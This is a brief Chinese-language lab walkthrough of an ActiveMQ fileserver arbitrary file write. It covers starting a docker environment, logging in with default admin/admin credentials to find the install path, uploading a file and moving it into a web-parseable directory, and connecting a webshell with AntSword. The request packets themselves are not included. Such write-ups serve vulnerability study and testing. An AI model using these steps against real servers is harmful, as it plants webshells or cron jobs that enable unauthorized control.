简述:ActiveMQ的fileserver支持写入文件(但是不支持解析jsp),同时也支持移动文件。所以我们只需要先上传到服务器,然后再移动到可以解析的地方即可造成任意文件写入漏洞。我们可以利用这个漏洞来上传webshell或者上传定时任务文件。
docker compose up -d
# 访问http://ip:8186
条件: 必须要登陆
http:/192.168.2.103:8186/admin/test/systemProperties.jsp # 使用admin/admin登录
获取到绝对路径为/opt/activemq

发送上面两个数据包,如果响应码均为204即为上传成功。可以访问网站根目录下的api路径查看。
直接连接是会报错的,因为这个木马需要登录之后才能访问,所以我们要将请求包中用来鉴权的参数加入到连接器中,这里用蚁剑做例子。
成功连接。
条件:Activemq程序必须是root权限运行的,否则无法写入。
